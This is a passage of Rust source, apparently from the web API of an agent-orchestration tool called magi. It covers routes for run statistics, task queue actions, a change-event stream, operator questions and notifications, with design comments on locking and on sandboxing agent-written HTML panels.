4414            attention_rate: RateView::of(b.needs_attention, b.recorded),
4415        }
4416    }
4417}
4418
4419/// [`crate::queue::TaskCounts`] for the wire.
4420#[derive(Debug, Serialize)]
4421struct TaskCountsView {
4422    queued: usize,
4423    running: usize,
4424    done: usize,
4425    failed: usize,
4426    held: usize,
4427    blocked: usize,
4428}
4429
4430impl From<crate::queue::TaskCounts> for TaskCountsView {
4431    fn from(c: crate::queue::TaskCounts) -> Self {
4432        Self {
4433            queued: c.queued,
4434            running: c.running,
4435            done: c.done,
4436            failed: c.failed,
4437            held: c.held,
4438            blocked: c.blocked,
4439        }
4440    }
4441}
4442
4443/// [`crate::stats::RepoStats`] for the wire, one row per repository with
4444/// runs recorded — the summary the UI's repository selector is built from.
4445/// Carries no nested `Stats`: picking a repo means re-fetching
4446/// `GET /api/stats?repo=<repo>`, which reuses this same route's own
4447/// aggregation rather than duplicating it.
4448#[derive(Debug, Serialize)]
4449struct RepoSummaryView {
4450    /// `RunState.repo` exactly as recorded — the value `?repo=` matches
4451    /// against, full path and all (see [`stats_get`]'s own doc for why).
4452    repo: String,
4453    /// Display name only; never used for matching.
4454    name: String,
4455    runs: usize,
4456    completion_rate: Option<RateView>,
4457}
4458
4459impl From<&stats::RepoStats> for RepoSummaryView {
4460    fn from(r: &stats::RepoStats) -> Self {
4461        let t = &r.stats.totals;
4462        Self {
4463            repo: r.repo.to_string_lossy().into_owned(),
4464            name: r.name.clone(),
4465            runs: t.runs,
4466            completion_rate: RateView::of(t.merged + t.ready, t.runs),
4467        }
4468    }
4469}
4470
4471/// `GET /api/stats` - the whole answer. `Stats` itself carries no
4472/// `Serialize`, deliberately: its fields (and the CLI text `report::stats`
4473/// renders from them) are free to grow without that becoming a wire-contract
4474/// change, and its zero-denominator rate methods (`0.0`) cannot tell "no
4475/// data" from "computed and it really is zero" the way [`RateView`] does.
4476#[derive(Debug, Serialize)]
4477struct StatsView {
4478    totals: StatsTotalsView,
4479    /// Best win rate first, as [`stats::collect`] already sorts it.
4480    agents: Vec<AgentStatsView>,
4481    /// Most adopted-per-round first, as [`stats::collect`] already sorts it.
4482    reviewers: Vec<ReviewerStatsView>,
4483    /// Highest reflection rate first, as [`stats::collect`] already sorts it.
4484    advisors: Vec<AdvisorStatsView>,
4485    e2e: E2eStatsView,
4486    release_bumps: ReleaseBumpStatsView,
4487    queue: TaskCountsView,
4488    /// Same count and same meaning as [`HealthView::runs_unreadable`] - see
4489    /// that field's doc. Asserted to match it in
4490    /// `stats_runs_unreadable_matches_health`.
4491    ///
4492    /// Always the whole-workload count, even when `repo` narrows every other
4493    /// field to one repository - an unreadable `run.json` carries no `repo`
4494    /// a per-repository count could attribute it to, and the queue/health
4495    /// views this mirrors never scope it either. The UI must not present it
4496    /// as if it were scoped to the selected repository.
4497    runs_unreadable: usize,
4498    /// Every repository with runs recorded, most runs first - what the UI's
4499    /// repository selector is built from. Always the full list regardless of
4500    /// `repo`, so switching repositories never needs a second request.
4501    repos: Vec<RepoSummaryView>,
4502    /// The `?repo=` value this response was narrowed to, echoed back so the
4503    /// UI can confirm its selection round-tripped. `None` for the aggregate,
4504    /// all-repositories view.
4505    repo: Option<String>,
4506}
4507
4508/// `?repo=<path>` narrows `GET /api/stats` to the runs recorded against one
4509/// repository. Matched by full-path equality against `RunState.repo` only
4510/// (see [`stats::filter_repo`]) - never resolved by name the way the CLI's
4511/// `--repo` is, because the value here always came from this same route's
4512/// own `repos` list in an earlier response, never typed by a human. A value
4513/// matching no run is a 404, not an empty aggregate: the caller asked for a
4514/// specific, named repository, and silently returning zeroes would look
4515/// exactly like a repository that has runs but none of interest.
4516#[derive(Debug, Default, Deserialize)]
4517#[serde(default)]
4518struct StatsQuery {
4519    repo: Option<String>,
4520}
4521
4522/// `GET /api/stats` - task and run statistics for the dashboard, aggregated
4523/// by [`stats::collect`] (or [`stats::collect_refs`] over one repository's
4524/// runs when `?repo=` narrows it), the same counting logic `magi stats`
4525/// prints from. Reads every readable run on disk, exactly as
4526/// [`runs_unreadable`] does, so the two counts can never drift apart the way
4527/// a separately-maintained tally could.
4528async fn stats_get(
4529    State(ui): State<Arc<Ui>>,
4530    Query(q): Query<StatsQuery>,
4531) -> ApiResult<Json<StatsView>> {
4532    blocking(move || {
4533        let states: Vec<RunState> = run_ids(&ui.runs)
4534            .into_iter()
4535            .filter_map(|id| read_run(&ui.runs, &id).ok())
4536            .collect();
4537        let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
4538            .iter()
4539            .map(RepoSummaryView::from)
4540            .collect();
4541        let collected = match &q.repo {
4542            Some(repo) => {
4543                let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
4544                if filtered.is_empty() {
4545                    return Err(ApiError::not_found(format!(
4546                        "no runs recorded against repo `{repo}`"
4547                    )));
4548                }
4549                stats::collect_refs(filtered)
4550            }
4551            None => stats::collect(&states),
4552        };
4553        let queue_counts = crate::queue::TaskCounts::of(&ui.queue.list());
4554        Ok(Json(StatsView {
4555            totals: StatsTotalsView::from(&collected.totals),
4556            agents: collected.agents.iter().map(AgentStatsView::from).collect(),
4557            reviewers: collected
4558                .reviewers
4559                .iter()
4560                .map(ReviewerStatsView::from)
4561                .collect(),
4562            advisors: collected
4563                .advisors
4564                .iter()
4565                .map(AdvisorStatsView::from)
4566                .collect(),
4567            e2e: E2eStatsView::from(&collected.e2e),
4568            release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
4569            queue: TaskCountsView::from(queue_counts),
4570            runs_unreadable: runs_unreadable(&ui.runs),
4571            repos,
4572            repo: q.repo.clone(),
4573        }))
4574    })
4575    .await
4576}
4577
4578/// The body of `POST /api/queue/{id}/hold`, sent empty when the operator
4579/// gives no reason - which must keep working, since not every hold has one.
4580#[derive(Debug, Default, Deserialize)]
4581#[serde(default, deny_unknown_fields)]
4582struct HoldBody {
4583    reason: Option<String>,
4584}
4585
4586async fn queue_hold(
4587    State(ui): State<Arc<Ui>>,
4588    Path(id): Path<String>,
4589    body: std::result::Result<Json<HoldBody>, JsonRejection>,
4590) -> ApiResult<Json<TaskView>> {
4591    // An absent body is the ordinary case - most holds are unexplained, and
4592    // that has to stay a one-tap action rather than a form. A body that is
4593    // present and malformed is still a bad request.
4594    let body = match body {
4595        Ok(Json(body)) => body,
4596        Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
4597        Err(e) => return Err(ApiError::bad_request(e.body_text())),
4598    };
4599    let reason = body.reason.filter(|r| !r.trim().is_empty());
4600    mutate(ui, id, move |t| {
4601        t.hold_manual(reason.clone());
4602        Ok(())
4603    })
4604    .await
4605}
4606
4607async fn queue_release(
4608    State(ui): State<Arc<Ui>>,
4609    Path(id): Path<String>,
4610) -> ApiResult<Json<TaskView>> {
4611    mutate(ui, id, |t| {
4612        t.release();
4613        Ok(())
4614    })
4615    .await
4616}
4617
4618/// The body of `POST /api/queue/{id}/priority`.
4619#[derive(Debug, Deserialize)]
4620#[serde(deny_unknown_fields)]
4621struct PriorityBody {
4622    priority: i32,
4623}
4624
4625/// `POST /api/queue/{id}/priority` - the up/down control on the Queue card.
4626///
4627/// [`Task::set_priority`] is the one place the "not while running" rule is
4628/// stated; this route only carries the body to it and lets its `Err` become
4629/// the 4xx the card shows.
4630async fn queue_priority(
4631    State(ui): State<Arc<Ui>>,
4632    Path(id): Path<String>,
4633    body: std::result::Result<Json<PriorityBody>, JsonRejection>,
4634) -> ApiResult<Json<TaskView>> {
4635    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4636    mutate(ui, id, move |t| t.set_priority(body.priority)).await
4637}
4638
4639/// The body of `POST /api/queue/{id}/edit`.
4640#[derive(Debug, Deserialize)]
4641#[serde(deny_unknown_fields)]
4642struct EditBody {
4643    title: String,
4644    instruction: String,
4645    /// Save even though the new text names a branch, commit or pull request
4646    /// that unfinished work already owns.
4647    #[serde(default)]
4648    force: bool,
4649}
4650
4651/// `POST /api/queue/{id}/edit` - the full-text replacement the phone's edit
4652/// sheet sends. [`Task::edit`] refuses anything but `queued` and `held`, and
4653/// that refusal's message is what the sheet shows back.
4654async fn queue_edit(
4655    State(ui): State<Arc<Ui>>,
4656    Path(id): Path<String>,
4657    body: std::result::Result<Json<EditBody>, JsonRejection>,
4658) -> ApiResult<Json<TaskView>> {
4659    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4660    // The judge is an agent call, so it is awaited here, outside the claim
4661    // `mutate` holds: a daemon must not be kept waiting on it. What it saw is
4662    // remembered, and the save refuses if the task moved underneath it.
4663    let mut judged: Option<(String, PathBuf)> = None;
4664    if !body.force {
4665        let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
4666        let (id, text) = (id.clone(), body.instruction.clone());
4667        let (seen, hits) = blocking(move || {
4668            let id = resolve_task(&queue, &id)?;
4669            let t = queue.get(&id)?;
4670            if text == t.instruction {
4671                return Ok((None, Vec::new()));
4672            }
4673            let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
4674            Ok((Some((t.instruction, t.repo)), hits))
4675        })
4676        .await?;
4677        if let Some((_, repo)) = &seen {
4678            let cfg = crate::config::Config::discover(repo, None)
4679                .ok()
4680                .map(|(c, _)| c);
4681            crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
4682                .await
4683                .map_err(|dup| {
4684                    ApiError::conflict(dup.render(
4685                        "Nothing was saved. If it is not a duplicate, repeat the request with \
4686                         \"force\": true.",
4687                    ))
4688                })?;
4689        }
4690        judged = seen;
4691    }
4692    let force = body.force;
4693    mutate(ui, id, move |t| {
4694        if !force && body.instruction != t.instruction {
4695            match &judged {
4696                Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
4697                _ => {
4698                    anyhow::bail!("the task changed while it was being checked; repeat the request")
4699                }
4700            }
4701        }
4702        t.edit(body.title.clone(), body.instruction.clone())
4703    })
4704    .await
4705}
4706
4707/// `POST /api/queue/{id}/done` - close a task as finished without deleting
4708/// it, so the phone's other way to clear a task from the backlog does not
4709/// have to cost the run history, the attribution, and `created_at` the way
4710/// [`queue_delete`] does. Behaves exactly like `magi task done`: any status
4711/// can be marked done by hand, because this is for the run the loop never
4712/// saw land - a merge done by hand, or a gate that misreported - and that can
4713/// happen from any status the task was left in.
4714async fn queue_done(
4715    State(ui): State<Arc<Ui>>,
4716    Path(id): Path<String>,
4717) -> ApiResult<Json<TaskView>> {
4718    let home = ui.home.clone();
4719    mutate(ui, id, move |t| {
4720        t.succeed();
4721        // Same as the loop's own settle path: closing a task by hand is just
4722        // as much "this task's story is over" as a daemon-driven `Merged`/
4723        // `Ready` is, so any earlier `Blocked`/`Stalled` attempt it leaves
4724        // behind must stop looking like it still needs a human. `ui.home`,
4725        // not the process-global `run::home()`: they agree in a real
4726        // process, but only `ui.home` also agrees with a test fixture's own
4727        // directory.
4728        crate::daemon::supersede_prior_runs(t, &home);
4729        Ok(())
4730    })
4731    .await
4732}
4733
4734/// `DELETE /api/queue/{id}`.
4735///
4736/// Remove a task from the backlog. Refused only while a live daemon's heartbeat
4737/// names this task: a `running` status or an orphaned `.lock` left behind by a
4738/// killed daemon is a leftover, and treating either as authority made the
4739/// task undeletable from the phone for good. The associated runs, if any, are
4740/// kept: a run is self-contained history and not an appendage of the task.
4741async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
4742    blocking(move || {
4743        let id = resolve_task(&ui.queue, &id)?;
4744        let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
4745        ui.queue
4746            .remove(&id, in_flight, &ui.questions)
4747            .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
4748        Ok(StatusCode::NO_CONTENT)
4749    })
4750    .await
4751}
4752
4753/// Read a task, change it, write it back, under the queue's own lock.
4754///
4755/// Taking the same claim a daemon takes is what makes hold, release,
4756/// priority, edit, and done safe to press while magi is running: without it
4757/// the daemon's next save would land on top of the operator's change and
4758/// undo it. `change` can refuse - [`Task::set_priority`] and [`Task::edit`]
4759/// both do, for a running task - and that refusal becomes the 4xx the card
4760/// shows, same as any other domain rule.
4761async fn mutate(
4762    ui: Arc<Ui>,
4763    id: String,
4764    change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
4765) -> ApiResult<Json<TaskView>> {
4766    blocking(move || {
4767        let id = resolve_task(&ui.queue, &id)?;
4768        // `claim` fails when the lock file already exists, which is the
4769        // conflict the UI must report: the daemon owns that task's file for
4770        // as long as it is running it, and our write would be lost under its
4771        // next save. The message names the lock either way.
4772        let _claim = ui.queue.claim(&id).map_err(|e| {
4773            ApiError::conflict(format!(
4774                "{e:#} - a daemon is running this task, so it cannot be \
4775                 changed from here yet"
4776            ))
4777        })?;
4778        let mut task = ui.queue.get(&id)?;
4779        change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
4780            Ok(dup) => ApiError::conflict(dup.render(
4781                "Nothing was saved. If it is not a duplicate, repeat the request with \
4782                 \"force\": true.",
4783            )),
4784            Err(e) => ApiError::bad_request_from(e),
4785        })?;
4786        ui.queue.put(&mut task)?;
4787        Ok(Json(TaskView::from(task)))
4788    })
4789    .await
4790}
4791
4792/// The change stream: one revision number per store, on connect and whenever
4793/// any of them moves.
4794///
4795/// The poll runs in one spawned task per client, which is affordable because
4796/// the work is a directory scan and a `stat` per file. It stops as soon as the
4797/// receiver is gone, so a phone that walks out of range costs nothing after
4798/// its next tick - there is no session and no cleanup to forget.
4799async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
4800    let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
4801    tokio::spawn(async move {
4802        let mut ticker = tokio::time::interval(POLL);
4803        let mut last: Option<(u64, u64, u64, u64, u64, u64)> = None;
4804        loop {
4805            // The first tick completes immediately, which is what makes the
4806            // stream announce the current revisions on connect.
4807            ticker.tick().await;
4808            let state = Arc::clone(&ui);
4809            let revisions = tokio::task::spawn_blocking(move || {
4810                (
4811                    state.queue.revision(),
4812                    runs_revision(&state.runs),
4813                    state.questions.revision(),
4814                    state.talks.revision(),
4815                    state.notices.revision(),
4816                    // The loop's counter is in-process state rather than a
4817                    // file, so nothing the three stats above look at would
4818                    // tell this phone that another one started the loop.
4819                    state.lock_loop().rev,
4820                )
4821            })
4822            .await;
4823            let Ok(revisions) = revisions else { break };
4824            if last == Some(revisions) {
4825                continue;
4826            }
4827            last = Some(revisions);
4828            let payload = serde_json::json!({
4829                "queue_rev": revisions.0,
4830                "runs_rev": revisions.1,
4831                "questions_rev": revisions.2,
4832                "talks_rev": revisions.3,
4833                "notifications_rev": revisions.4,
4834                "loop_rev": revisions.5,
4835            });
4836            // Serializing five integers cannot fail; giving up beats looping.
4837            let Ok(event) = Event::default().event("change").json_data(payload) else {
4838                break;
4839            };
4840            if tx.send(event).await.is_err() {
4841                break;
4842            }
4843        }
4844    });
4845    Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
4846        .keep_alive(KeepAlive::new().interval(KEEPALIVE))
4847}
4848
4849/// Change detection token for recorded runs under `runs`.
4850///
4851/// Combines the id and `run.json` modification time of each run, so adding,
4852/// updating, or deleting any run — even an older one — moves the revision and
4853/// notifies connected clients via the change stream. Returns 0 when no runs
4854/// exist.
4855fn runs_revision(runs: &FsPath) -> u64 {
4856    use std::hash::{Hash as _, Hasher as _};
4857
4858    let mut entries: Vec<(String, u64)> = std::fs::read_dir(runs)
4859        .into_iter()
4860        .flatten()
4861        .flatten()
4862        .filter_map(|e| {
4863            let path = e.path().join("run.json");
4864            let mtime = path
4865                .metadata()
4866                .ok()?
4867                .modified()
4868                .ok()?
4869                .duration_since(std::time::UNIX_EPOCH)
4870                .ok()?
4871                .as_millis() as u64;
4872            let id = e.file_name().to_string_lossy().into_owned();
4873            Some((id, mtime))
4874        })
4875        .collect();
4876
4877    if entries.is_empty() {
4878        return 0;
4879    }
4880
4881    entries.sort_unstable();
4882    let mut hasher = std::hash::DefaultHasher::new();
4883    for (id, mtime) in &entries {
4884        id.hash(&mut hasher);
4885        mtime.hash(&mut hasher);
4886    }
4887    let h = hasher.finish();
4888    if h == 0 { 1 } else { h }
4889}
4890
4891/// Run ids under `runs`, newest first.
4892///
4893/// Rooted at an explicit directory rather than calling [`run::list_ids`],
4894/// which reads the process-global home: the server has to be drivable against
4895/// a temp directory for any of this to be testable.
4896fn run_ids(runs: &FsPath) -> Vec<String> {
4897    let mut ids: Vec<String> = std::fs::read_dir(runs)
4898        .into_iter()
4899        .flatten()
4900        .flatten()
4901        .filter(|e| e.path().join("run.json").is_file())
4902        .map(|e| e.file_name().to_string_lossy().into_owned())
4903        .collect();
4904    // Ids start with a sortable timestamp.
4905    ids.sort_unstable_by(|a, b| b.cmp(a));
4906    ids
4907}
4908
4909/// Read one run's state from an explicit runs root.
4910fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
4911    let path = runs.join(id).join("run.json");
4912    let body =
4913        std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
4914    let state: RunState =
4915        serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
4916    // The same migration `RunState::load` applies, so a record from the
4917    // previous schema reads here as it does everywhere else (an origin-less
4918    // run shows as "origin unknown") instead of vanishing from the phone the
4919    // moment the schema is bumped.
4920    run::migrate_schema(state)
4921}
4922
4923/// Runs on disk under `runs` whose state this build cannot parse - almost
4924/// always a schema bump, occasionally a run killed mid-write.
4925///
4926/// Exposed so every surface that reports on runs shares one count instead of
4927/// each re-deriving it: `/api/health` reports it as `runs_unreadable`, and
4928/// `magi doctor` calls this directly rather than guessing at the same number
4929/// a second way.
4930#[must_use]
4931pub fn runs_unreadable(runs: &FsPath) -> usize {
4932    run_ids(runs)
4933        .into_iter()
4934        .filter(|id| read_run(runs, id).is_err())
4935        .count()
4936}
4937
4938/// Expand an id or short id to exactly one run id.
4939fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
4940    if runs.join(id).join("run.json").is_file() {
4941        return Ok(id.to_owned());
4942    }
4943    pick(run_ids(runs), id, "run")
4944}
4945
4946/// Expand an id or short id to exactly one task id.
4947fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
4948    if queue.path_of(id).is_file() {
4949        return Ok(id.to_owned());
4950    }
4951    pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
4952}
4953
4954/// A question as the phone reads it.
4955///
4956/// `detail`, the reasoning an agent wrote, is markdown; `detail_md` is that
4957/// text already parsed into a node tree so the client never runs its own
4958/// markdown reader over agent-authored prose. A relative image path in it
4959/// resolves against this question's own panel asset route, which is the one
4960/// place [`md::ImageBase::QuestionPanel`] is used - the panel iframe is a
4961/// separate, sandboxed document, but `detail` is rendered inline in the
4962/// operator's own page, so an image reference in it may only ever point at
4963/// files magi itself already serves for this question.
4964#[derive(Debug, Serialize)]
4965struct QuestionView {
4966    #[serde(flatten)]
4967    question: Question,
4968    detail_md: Vec<md::Node>,
4969    /// Each thread turn's body, parsed; same order as `question.thread`.
4970    thread_bodies_md: Vec<Vec<md::Node>>,
4971    /// Is the ball in the agent's court right now?
4972    ///
4973    /// [`QuestionStatus`] stays `Open` for the whole of a round trip - see
4974    /// [`Question::say`] - so this is the one field that tells the phone to
4975    /// disable the answer controls and show "waiting for the agent" instead of
4976    /// a card the owner can act on. Computed rather than stored on
4977    /// [`Question`] itself, on the same reasoning as `waiting` on
4978    /// [`RunSummary`]: it is a read of `thread`'s own last entry, and keeping
4979    /// it here means the client never has to re-derive that rule.
4980    waiting_on_agent: bool,
4981    /// Who is waiting on this open question - see [`holder_of`]. Separate
4982    /// from `waiting_on_agent`, which is whose *turn* it is, not whether
4983    /// anyone is there to take it.
4984    holder: Option<&'static str>,
4985    /// Whether `magi serve` can start a follow-up agent for a conductor
4986    /// question at all: false when `daemon.max_deputies = 0` or the config is
4987    /// unreadable. Separate from `holder`, which says who is listening now.
4988    deputies_enabled: bool,
4989    /// `question.run` is a task id (conductor / triage questions), not a run
4990    /// id, so the UI links it to the task page.
4991    run_is_task: bool,
4992}
4993
4994impl QuestionView {
4995    /// The view of `question`, reading who is waiting on it from `store`.
4996    ///
4997    /// `holder` needs the lease sidecar, which is why this is not a `From`.
4998    fn of(question: Question, store: &ask::Questions, deputies_enabled: bool) -> Self {
4999        let base = md::ImageBase::QuestionPanel {
5000            id: question.id.clone(),
5001        };
5002        let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
5003        Self {
5004            detail_md: md::to_nodes(&question.detail, &base),
5005            thread_bodies_md: question
5006                .thread
5007                .iter()
5008                .map(|t| md::to_nodes(&t.body, &base))
5009                .collect(),
5010            waiting_on_agent: question.waiting_on_agent(),
5011            holder,
5012            deputies_enabled,
5013            run_is_task: question.run_names_task(),
5014            question,
5015        }
5016    }
5017}
5018
5019/// The config this repository resolves, or `None` when it cannot be read.
5020/// Discovering is git processes plus a config render, so a request that needs
5021/// it for many items takes it once and passes it down.
5022fn deputy_config(repo: &std::path::Path) -> Option<Config> {
5023    Config::discover(repo, None).ok().map(|(c, _)| c)
5024}
5025
5026/// Can `magi serve` start a deputy for this question under `cfg`?
5027fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
5028    crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
5029}
5030
5031/// The views `GET /api/questions` answers. `load` runs at most once, however
5032/// many questions there are, and not at all when there are none.
5033fn question_views(
5034    qs: Vec<Question>,
5035    store: &ask::Questions,
5036    load: impl FnOnce() -> Option<Config>,
5037) -> Vec<QuestionView> {
5038    if qs.is_empty() {
5039        return Vec::new();
5040    }
5041    let cfg = load();
5042    qs.into_iter()
5043        .map(|q| {
5044            let on = deputies_enabled(cfg.as_ref(), &q);
5045            QuestionView::of(q, store, on)
5046        })
5047        .collect()
5048}
5049
5050/// Who is honestly waiting on an open question right now: `"asker"` (the
5051/// agent's own `magi ask`), `"deputy"` (the follow-up seat `magi serve` runs
5052/// for a conductor question), `"daemon"` (`magi serve` resuming the asking
5053/// seat's session), or `"nobody"` - the asker is gone and nothing has picked it
5054/// up, or the question never had anyone listening (a conductor question or a
5055/// merge approval from before deputies, or not yet given one).
5056///
5057/// `None` for a question that is settled, and for one that is not an agent's
5058/// to wait on at all (a release notice).
5059fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
5060    if !q.status.open() {
5061        return None;
5062    }
5063    if q.cwd.is_none() && q.deputy.is_none() {
5064        return (matches!(
5065            q.node.as_str(),
5066            crate::conduct::NODE | crate::land::APPROVAL_NODE
5067        ) || crate::deputy::kind_of(q) == Some(crate::deputy::Kind::Release))
5068        .then_some("nobody");
5069    }
5070    Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
5071        Some(_) if q.deputy.is_some() => "deputy",
5072        Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
5073        Some(_) => "asker",
5074        None => "nobody",
5075    })
5076}
5077
5078/// `GET /api/questions`.
5079///
5080/// Everything, not just the open ones: an answered question is the record of a
5081/// decision, and the phone is where the operator goes back to check what they
5082/// told an agent at 3am. `ask::Questions::list` already ranks open first.
5083async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
5084    blocking(move || {
5085        Ok(Json(question_views(
5086            ui.questions.list(),
5087            &ui.questions,
5088            || deputy_config(&ui.repo),
5089        )))
5090    })
5091    .await
5092}
5093
5094/// `GET /api/notifications`: not dismissed, newest first, with the unread
5095/// count so the badge and the list cannot disagree.
5096async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
5097    blocking(move || {
5098        let items = ui.notices.list();
5099        let unread = items.iter().filter(|n| n.unread()).count();
5100        Ok(Json(
5101            serde_json::json!({ "unread": unread, "items": items }),
5102        ))
5103    })
5104    .await
5105}
5106
5107fn notice_error(e: anyhow::Error) -> ApiError {
5108    // An unknown or malformed id and a vanished file are the same answer to
5109    // the phone: that notification is gone.
5110    ApiError::not_found(format!("{e:#}"))
5111}
5112
5113/// `POST /api/notifications/{id}/read`.
5114async fn notification_read(
5115    State(ui): State<Arc<Ui>>,
5116    Path(id): Path<String>,
5117) -> ApiResult<Json<Notice>> {
5118    blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
5119}
5120
5121/// `POST /api/notifications/{id}/dismiss`.
5122async fn notification_dismiss(
5123    State(ui): State<Arc<Ui>>,
5124    Path(id): Path<String>,
5125) -> ApiResult<Json<Notice>> {
5126    blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
5127}
5128
5129/// `POST /api/notifications/read-all`.
5130async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
5131    blocking(move || {
5132        let changed = ui.notices.mark_all_read()?;
5133        Ok(Json(serde_json::json!({ "marked": changed })))
5134    })
5135    .await
5136}
5137
5138/// The body of `POST /api/questions/{id}/answer`.
5139///
5140/// Exactly one of the two fields, mirroring `ask::Answer`. Both or neither is
5141/// a bad request rather than a guess: an answer magi invented is worse than a
5142/// question left open.
5143#[derive(Debug, Default, Deserialize)]
5144#[serde(default, deny_unknown_fields)]
5145struct NewAnswer {
5146    choice: Option<String>,
5147    text: Option<String>,
5148}
5149
5150async fn question_answer(
5151    State(ui): State<Arc<Ui>>,
5152    Path(id): Path<String>,
5153    body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
5154) -> ApiResult<Json<QuestionView>> {
5155    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5156    let answer = match (body.choice, body.text) {
5157        (Some(c), None) => Answer::Choice(c),
5158        (None, Some(t)) => Answer::Text(t),
5159        (Some(_), Some(_)) => {
5160            return Err(ApiError::bad_request(
5161                "send either `choice` or `text`, not both",
5162            ));
5163        }
5164        (None, None) => {
5165            return Err(ApiError::bad_request("send a `choice` or a `text`"));
5166        }
5167    };
5168
5169    blocking(move || {
5170        let id = resolve_question(&ui.questions, &id)?;
5171        let q = ui
5172            .questions
5173            .get(&id)
5174            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
5175        if !q.status.open() {
5176            // Answered from the terminal, or by another phone, in between the
5177            // list and the tap. The UI shows the recorded answer rather than an
5178            // error, so it needs the record, not just the status.
5179            return Err(ApiError::conflict(format!(
5180                "question {} is already {}",
5181                q.short(),
5182                q.status.as_str()
5183            )));
5184        }
5185        // `Question::answer` owns the rules - an unoffered choice, free text on
5186        // a multiple-choice question, an empty reply - so the route does not
5187        // restate them and cannot drift from the CLI's behaviour.
5188        let (q, ()) = ui
5189            .questions
5190            .update(&q.id, |r| r.answer(answer))
5191            .map_err(ApiError::bad_request_from)?;
5192        let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
5193        Ok(Json(QuestionView::of(q, &ui.questions, on)))
5194    })
5195    .await
5196}
5197
5198/// The body of `POST /api/questions/{id}/say`.
5199#[derive(Debug, Deserialize)]
5200#[serde(deny_unknown_fields)]
5201struct NewSay {
5202    body: String,
5203}
5204
5205/// `POST /api/questions/{id}/say` - the owner talks back without deciding.
5206///
5207/// Synchronous, unlike `POST /api/talks/{id}/say`: that route spawns an agent
5208/// CLI and waits on it, this one only appends a [`ask::Turn`] and writes the
5209/// file, so there is no turn to serialize against and no
5210/// [`Ui::begin_talk_turn`] guard to take. The agent waiting on this question
5211/// is a *different* process - the run parked behind `magi ask` - and picks
5212/// the reply up on its own poll of the very same file, same as an answer
5213/// does.
5214async fn question_say(
5215    State(ui): State<Arc<Ui>>,
5216    Path(id): Path<String>,
5217    body: std::result::Result<Json<NewSay>, JsonRejection>,
5218) -> ApiResult<Json<QuestionView>> {
5219    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5220    blocking(move || {
5221        let id = resolve_question(&ui.questions, &id)?;
5222        let q = ui
5223            .questions
5224            .get(&id)
5225            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
5226        if !q.status.open() {
5227            // Same granularity as `question_answer`: answered or abandoned in
5228            // between the list and the tap is not this route's error to
5229            // explain any differently.
5230            return Err(ApiError::conflict(format!(
5231                "question {} is already {}",
5232                q.short(),
5233                q.status.as_str()
5234            )));
5235        }
5236        // `Question::say` owns the one rule that matters here - an empty
5237        // message tells the agent nothing - so the route does not restate it.
5238        let (q, ()) = ui
5239            .questions
5240            .update(&q.id, |r| r.say(body.body))
5241            .map_err(ApiError::bad_request_from)?;
5242        let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
5243        Ok(Json(QuestionView::of(q, &ui.questions, on)))
5244    })
5245    .await
5246}
5247
5248/// Expand an id or short id to exactly one question id.
5249fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
5250    if store.path_of(id).is_file() {
5251        return Ok(id.to_owned());
5252    }
5253    pick(
5254        store.list().into_iter().map(|q| q.id).collect(),
5255        id,
5256        "question",
5257    )
5258}
5259
5260/// `GET /api/questions/{id}/panel`.
5261///
5262/// The panel an agent wrote for this question, as `text/html` under
5263/// [`PANEL_CSP`], for the front end to mount in a token-less sandboxed iframe.
5264/// A question without one is a 404 rather than an empty page: the client
5265/// preflights this route with `HEAD` and must be able to tell "no panel" from
5266/// "a panel that rendered blank", and a sandboxed frame is opaque to the
5267/// parent document so it cannot tell the difference by looking.
5268///
5269/// The body is whatever the agent wrote, byte for byte. Nothing here rewrites,
5270/// sanitises or minifies it - a sanitiser is a list of things someone thought
5271/// of, and the sandbox plus the CSP is a list of things that are allowed, which
5272/// is the direction that stays safe when an agent writes markup nobody
5273/// predicted.
